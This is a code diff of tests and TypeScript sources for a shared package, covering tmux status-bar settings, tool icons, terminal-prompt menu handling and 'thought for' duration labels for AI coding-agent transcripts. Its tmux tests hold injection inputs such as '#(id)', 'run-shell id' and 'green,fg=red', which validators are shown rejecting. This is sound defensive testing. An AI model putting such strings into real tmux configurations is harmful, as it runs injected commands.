for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
|
|
59
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: bad } } }).status.bg)
|
|
60
|
+
.toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.bg);
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
(0, vitest_1.it)('accepts the colour forms tmux understands', () => {
|
|
64
|
+
for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
|
|
65
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
});
|
|
69
|
+
(0, vitest_1.describe)('compileStatusTemplate', () => {
|
|
70
|
+
(0, vitest_1.it)('compiles every advertised token to something else', () => {
|
|
71
|
+
for (const token of tmux_prefs_1.STATUS_TOKENS) {
|
|
72
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)(`[${token}]`)).not.toBe(`[${token}]`);
|
|
73
|
+
}
|
|
74
|
+
});
|
|
75
|
+
(0, vitest_1.it)('leaves an unknown token verbatim rather than dropping it', () => {
|
|
76
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('[nonsense]')).toBe('[nonsense]');
|
|
77
|
+
});
|
|
78
|
+
(0, vitest_1.it)('escapes a quote so it cannot end the emitted tmux string', () => {
|
|
79
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('say "hi"')).not.toMatch(/(?<!\\)"/);
|
|
80
|
+
});
|
|
81
|
+
(0, vitest_1.it)('throws on command substitution and run-shell', () => {
|
|
82
|
+
(0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('#(id)')).toThrow(/not allowed/i);
|
|
83
|
+
(0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('run-shell id')).toThrow(/not allowed/i);
|
|
84
|
+
});
|
|
85
|
+
});
|
|
86
|
+
(0, vitest_1.describe)('validators', () => {
|
|
87
|
+
(0, vitest_1.it)('isValidStatusTemplate mirrors compileStatusTemplate', () => {
|
|
88
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('[folder]')).toBe(true);
|
|
89
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('#(id)')).toBe(false);
|
|
90
|
+
});
|
|
91
|
+
(0, vitest_1.it)('isValidTmuxColor rejects anything that could inject a second option', () => {
|
|
92
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green')).toBe(true);
|
|
93
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green,fg=red')).toBe(false);
|
|
94
|
+
});
|
|
95
|
+
});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tool-appearance.test.d.ts","sourceRoot":"","sources":["../src/tool-appearance.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const tool_appearance_1 = require("./tool-appearance");
|
|
5
|
+
(0, vitest_1.describe)('tool-appearance', () => {
|
|
6
|
+
(0, vitest_1.it)('maps known tools to their action class', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Read')).toBe('read');
|
|
8
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Glob')).toBe('read');
|
|
9
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Grep')).toBe('search');
|
|
10
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('WebSearch')).toBe('search');
|
|
11
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Bash')).toBe('run');
|
|
12
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Task')).toBe('run');
|
|
13
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Edit')).toBe('write');
|
|
14
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Write')).toBe('write');
|
|
15
|
+
});
|
|
16
|
+
(0, vitest_1.it)('is case and whitespace insensitive', () => {
|
|
17
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)(' bASh ')).toBe('run');
|
|
18
|
+
});
|
|
19
|
+
// New tools ship constantly. An unknown name must render as a neutral row,
|
|
20
|
+
// never throw and never blank the trace.
|
|
21
|
+
(0, vitest_1.it)('falls back to other for an unknown tool', () => {
|
|
22
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('SomeToolShippedNextWeek')).toBe('other');
|
|
23
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolAppearance)('SomeToolShippedNextWeek').colorVar).toBe('--dim');
|
|
24
|
+
});
|
|
25
|
+
(0, vitest_1.it)('failure beats the name-derived class', () => {
|
|
26
|
+
const a = (0, tool_appearance_1.toolAppearance)('Read', false);
|
|
27
|
+
(0, vitest_1.expect)(a.cls).toBe('failure');
|
|
28
|
+
(0, vitest_1.expect)(a.colorVar).toBe('--offline');
|
|
29
|
+
(0, vitest_1.expect)(a.glyph).toBe('✕');
|
|
30
|
+
});
|
|
31
|
+
(0, vitest_1.it)('every class has a glyph and a colour token', () => {
|
|
32
|
+
for (const name of ['Read', 'Grep', 'Bash', 'Edit', 'Nonsense']) {
|
|
33
|
+
const a = (0, tool_appearance_1.toolAppearance)(name);
|
|
34
|
+
(0, vitest_1.expect)(a.glyph.length).toBeGreaterThan(0);
|
|
35
|
+
(0, vitest_1.expect)(a.colorVar.startsWith('--')).toBe(true);
|
|
36
|
+
}
|
|
37
|
+
});
|
|
38
|
+
});
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@indianic/dialout-shared",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.5.0",
|
|
4
4
|
"description": "Types and constants shared by the Dialout server, agent and mobile app.",
|
|
5
5
|
"publishConfig": {
|
|
6
6
|
"registry": "https://registry.npmjs.org"
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
"dist"
|
|
21
21
|
],
|
|
22
22
|
"scripts": {
|
|
23
|
-
"build": "tsc",
|
|
23
|
+
"build": "tsc -p tsconfig.build.json",
|
|
24
24
|
"test": "vitest run"
|
|
25
25
|
},
|
|
26
26
|
"devDependencies": {
|
|
@@ -13,7 +13,7 @@ export type ChatBlock =
|
|
|
13
13
|
| { kind: 'user'; key: string; text: string; pending?: boolean }
|
|
14
14
|
| { kind: 'assistant'; key: string; text: string }
|
|
15
15
|
| { kind: 'tools'; key: string; items: ToolItem[] }
|
|
16
|
-
| { kind: 'thinking'; key: string; text: string }
|
|
16
|
+
| { kind: 'thinking'; key: string; text: string; ms?: number }
|
|
17
17
|
| { kind: 'status'; key: string; status: string };
|
|
18
18
|
|
|
19
19
|
// Grouping only ever merges ADJACENT events, so the worst case for an adapter
|
|
@@ -62,7 +62,7 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
|
|
|
62
62
|
}
|
|
63
63
|
|
|
64
64
|
if (e.kind === 'thinking') {
|
|
65
|
-
blocks.push({ kind: 'thinking', key, text: e.text || '' });
|
|
65
|
+
blocks.push({ kind: 'thinking', key, text: e.text || '', ms: e.ms });
|
|
66
66
|
return;
|
|
67
67
|
}
|
|
68
68
|
|
|
@@ -7,7 +7,11 @@ export type AiEvent =
|
|
|
7
7
|
| { kind: 'message'; role: 'user' | 'assistant'; text: string; id?: string; at?: string }
|
|
8
8
|
| { kind: 'tool_call'; name: string; summary: string; input?: unknown; id?: string; at?: string }
|
|
9
9
|
| { kind: 'tool_result'; forId: string; ok: boolean; preview: string; at?: string }
|
|
10
|
-
|
|
10
|
+
// `text` is empty when the vendor kept the reasoning out of the transcript
|
|
11
|
+
// (Claude Code's adaptive thinking strips it and leaves only a signature),
|
|
12
|
+
// and `ms` is how long it spent. One of the two is always worth showing:
|
|
13
|
+
// the words if they survived, otherwise that it thought and for how long.
|
|
14
|
+
| { kind: 'thinking'; text: string; ms?: number; id?: string; at?: string }
|
|
11
15
|
| { kind: 'state'; status: AiStatus; at?: string };
|
|
12
16
|
|
|
13
17
|
export interface AiAdapter {
|
|
@@ -41,8 +41,9 @@ export {
|
|
|
41
41
|
export type { TranscriptState, EventsMeta } from './event-merge';
|
|
42
42
|
export { EMPTY_TRANSCRIPT, mergeEvents } from './event-merge';
|
|
43
43
|
|
|
44
|
+
export { thinkingDuration, thinkingLabel } from './thinking';
|
|
44
45
|
export type { PanePrompt, PanePromptOption, PromptKey } from './pane-prompt';
|
|
45
|
-
export { PROMPT_KEYS, detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
|
|
46
|
+
export { PROMPT_KEYS, detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
|
|
46
47
|
|
|
47
48
|
export type { AttachmentRef } from './attachments';
|
|
48
49
|
export {
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { describe, expect, it } from 'vitest';
|
|
2
|
-
import { detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
|
|
2
|
+
import { detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
|
|
3
3
|
|
|
4
4
|
// Shapes as the CLIs draw them (spacing kept), plus the noise around them.
|
|
5
5
|
const CLAUDE_BASH = `
|
|
@@ -177,3 +177,25 @@ describe('promptKeys', () => {
|
|
|
177
177
|
expect(isSafeKeyList('Enter')).toBe(false);
|
|
178
178
|
});
|
|
179
179
|
});
|
|
180
|
+
|
|
181
|
+
describe('free-text rows', () => {
|
|
182
|
+
it('knows which rows want typing, and moves there without choosing', () => {
|
|
183
|
+
expect(isFreeTextOption('Type something.')).toBe(true);
|
|
184
|
+
expect(isFreeTextOption('Other')).toBe(true);
|
|
185
|
+
expect(isFreeTextOption('No, and tell Claude what to do differently (esc)')).toBe(false);
|
|
186
|
+
expect(isFreeTextOption('Yes')).toBe(false);
|
|
187
|
+
const p = detectPanePrompt(CLAUDE_QUESTION)!;
|
|
188
|
+
expect(promptMoveKeys(p, 3)).toEqual(['Down', 'Down']);
|
|
189
|
+
expect(promptMoveKeys(p, 1)).toEqual([]);
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
it('finds the row that wants typing, and stops once it holds text', () => {
|
|
193
|
+
const p = detectPanePrompt(CLAUDE_QUESTION)!;
|
|
194
|
+
expect(freeTextRow(p)).toBe(3);
|
|
195
|
+
// The TUI echoes what is typed in place of the label; the row is then
|
|
196
|
+
// mid-answer, not an empty invitation, so the card must not reopen on it.
|
|
197
|
+
const typed = detectPanePrompt(CLAUDE_QUESTION.replace('3. Type something.', '3. Teal like the sea'))!;
|
|
198
|
+
expect(freeTextRow(typed)).toBe(0);
|
|
199
|
+
expect(freeTextRow(detectPanePrompt(CLAUDE_BASH)!)).toBe(0);
|
|
200
|
+
});
|
|
201
|
+
});
|
|
@@ -216,3 +216,30 @@ export function promptKeys(p: PanePrompt, n: number): string[] {
|
|
|
216
216
|
const move = to > from ? Array(to - from).fill('Down') : Array(from - to).fill('Up');
|
|
217
217
|
return [...move, 'Enter'];
|
|
218
218
|
}
|
|
219
|
+
|
|
220
|
+
/**
|
|
221
|
+
* A row that takes typed text rather than being an answer itself: Claude
|
|
222
|
+
* Code's "Type something." / an "Other" row. Picking it with Enter answers
|
|
223
|
+
* with nothing, so the card asks for the text first.
|
|
224
|
+
*/
|
|
225
|
+
export function isFreeTextOption(label: string): boolean {
|
|
226
|
+
return /^(type something|type your own|other|something else)\.?(\s*\(.*\))?$/i.test(label.trim());
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
/**
|
|
230
|
+
* Keys that put the cursor on row `n` without choosing it. For a free-text
|
|
231
|
+
* row: move there, then the text is typed and Enter pressed (as one message).
|
|
232
|
+
*/
|
|
233
|
+
export function promptMoveKeys(p: PanePrompt, n: number): string[] {
|
|
234
|
+
return promptKeys(p, n).slice(0, -1);
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
/**
|
|
238
|
+
* The free-text row's number, or 0 if the menu has none. A TUI echoes what is
|
|
239
|
+
* typed in place of that row's label, so a row that already holds text no
|
|
240
|
+
* longer matches — which is correct: it is mid-answer, not an empty invitation.
|
|
241
|
+
*/
|
|
242
|
+
export function freeTextRow(p: PanePrompt): number {
|
|
243
|
+
const row = p.options.find((o) => o.checked === null && isFreeTextOption(o.label));
|
|
244
|
+
return row ? row.n : 0;
|
|
245
|
+
}
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
import { describe, expect, it } from 'vitest';
|
|
2
|
+
import { thinkingDuration, thinkingLabel } from './thinking';
|
|
3
|
+
|
|
4
|
+
describe('thinkingDuration', () => {
|
|
5
|
+
it('reads like a stopwatch at every scale', () => {
|
|
6
|
+
expect(thinkingDuration(490)).toBe('490ms');
|
|
7
|
+
expect(thinkingDuration(1422)).toBe('1.4s');
|
|
8
|
+
expect(thinkingDuration(12252)).toBe('12s');
|
|
9
|
+
expect(thinkingDuration(59_400)).toBe('59s');
|
|
10
|
+
expect(thinkingDuration(60_000)).toBe('1m');
|
|
11
|
+
expect(thinkingDuration(125_000)).toBe('2m 5s');
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it('says nothing rather than "0s" when there is no duration to report', () => {
|
|
15
|
+
expect(thinkingDuration(0)).toBe('');
|
|
16
|
+
expect(thinkingDuration(-5)).toBe('');
|
|
17
|
+
expect(thinkingDuration(NaN)).toBe('');
|
|
18
|
+
expect(thinkingDuration(Infinity)).toBe('');
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
describe('thinkingLabel', () => {
|
|
23
|
+
it('names the duration when the vendor gave one', () => {
|
|
24
|
+
expect(thinkingLabel(1422)).toBe('Thought for 1.4s');
|
|
25
|
+
expect(thinkingLabel(12252)).toBe('Thought for 12s');
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
it('falls back to the vague wording, never a bare "thinking…"', () => {
|
|
29
|
+
expect(thinkingLabel(undefined)).toBe('Thought for a moment');
|
|
30
|
+
expect(thinkingLabel(0)).toBe('Thought for a moment');
|
|
31
|
+
});
|
|
32
|
+
});
|